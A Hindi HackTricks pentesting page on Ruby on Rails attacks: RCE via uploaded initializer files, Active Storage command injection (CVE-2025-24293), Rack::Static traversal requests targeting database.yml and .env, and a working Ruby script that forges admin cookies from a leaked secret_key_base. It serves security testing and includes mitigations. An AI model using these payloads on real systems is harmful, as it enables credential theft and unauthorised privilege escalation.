Ruby ट्रिक्स

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

फ़ाइल अपलोड से RCE

जैसा कि this article में बताया गया है, config/initializers/ जैसे संवेदनशील डायरेक्टरी में .rb फ़ाइल अपलोड करने से Ruby on Rails ऐप्लिकेशन्स में remote code execution (RCE) हो सकता है।

टिप्स:

  • ऐसे अन्य boot/eager-load लोकेशंस जो ऐप स्टार्ट पर execute होते हैं, जब writable हों तो जोखिमपूर्ण होते हैं (उदा., config/initializers/ क्लासिक उदाहरण है)। यदि आप कोई arbitrary file upload पाते हैं जो config/ के अंदर कहीं भी गिरता है और बाद में evaluate/required किया जाता है, तो आप boot पर RCE प्राप्त कर सकते हैं।
  • ऐसे dev/staging builds खोजें जो user-controlled फाइलों को container image में कॉपी करते हैं जहाँ Rails उन्हें boot पर लोड करेगा।

Active Storage image transformation → command execution (CVE-2025-24293)

जब कोई ऐप Active Storage को image_processing + mini_magick के साथ उपयोग करता है, और image transformation methods में untrusted parameters पास करता है, तो Rails के 7.1.5.2 / 7.2.2.2 / 8.0.2.1 से पहले के वर्ज़न command injection की अनुमति दे सकते हैं क्योंकि कुछ transformation methods गलती से डिफ़ॉल्ट रूप से allow थे।

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • टेस्टिंग के दौरान आज़माएँ

  • ऐसे endpoints पहचानें जो variant/processing options, transformation names, या arbitrary ImageMagick arguments स्वीकार करते हों।

  • संदिग्ध errors या execution side-effects के लिए params[:t] और params[:v] को fuzz करें। यदि आप method name को प्रभावित कर सकें या raw arguments पास कर सकें जो MiniMagick तक पहुँचें, तो आप image processor host पर code exec प्राप्त कर सकते हैं।

  • यदि आपके पास केवल generated variants का read-access है, तो crafted ImageMagick operations के जरिए blind exfiltration कोशिश करें।

  • निवारण/डिटेक्शन

  • यदि आप Active Storage + image_processing + mini_magick के साथ Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 और user-controlled transformations देखते हैं, तो इसे exploitable मानें। अपग्रेड करने और methods/params के लिए कड़ी allowlists और एक hardened ImageMagick policy लागू करने की सिफारिश करें।

Rack::Static LFI / path traversal (CVE-2025-27610)

यदि target stack Rack middleware का सीधे या frameworks के माध्यम से उपयोग करता है, तो rack के 2.2.13, 3.0.14, और 3.1.12 से पहले के वर्ज़न Rack::Static के माध्यम से Local File Inclusion तब अनुमति देते हैं जब :root unset/misconfigured हो। PATH_INFO में encoded traversal process working directory या किसी अनपेक्षित root के तहत फाइलें उजागर कर सकता है।

  • ऐसे ऐप्स खोजें जो config.ru या middleware stacks में Rack::Static mount करते हों। static paths के खिलाफ encoded traversals आजमाएँ, उदाहरण के लिए:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

configured urls: के साथ मेल खाने के लिए prefix समायोजित करें। यदि ऐप file contents के साथ प्रतिक्रिया देता है, तो संभवतः आपके पास resolved :root के अंतर्गत किसी भी चीज़ के लिए LFI है।

  • Mitigation: Rack को अपग्रेड करें; सुनिश्चित करें कि :root केवल public files की एक डायरेक्टरी की ओर इशारा करे और स्पष्ट रूप से सेट हो।

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

नोट्स:

  • पुराने ऐप्स AES-256-CBC और salts encrypted cookie / signed encrypted cookie, या JSON/Marshal serializers का उपयोग कर सकते हैं। salts, cipher, और serializer को अनुसरानुसार समायोजित करें।
  • समझौते/आकलन के समय, सभी मौजूदा कुकीज़ को अमान्य करने के लिए secret_key_base को रोटेट करें।

अन्य देखें (Ruby/Rails-विशिष्ट कमजोरियाँ)

संदर्भ

  • Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
  • GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें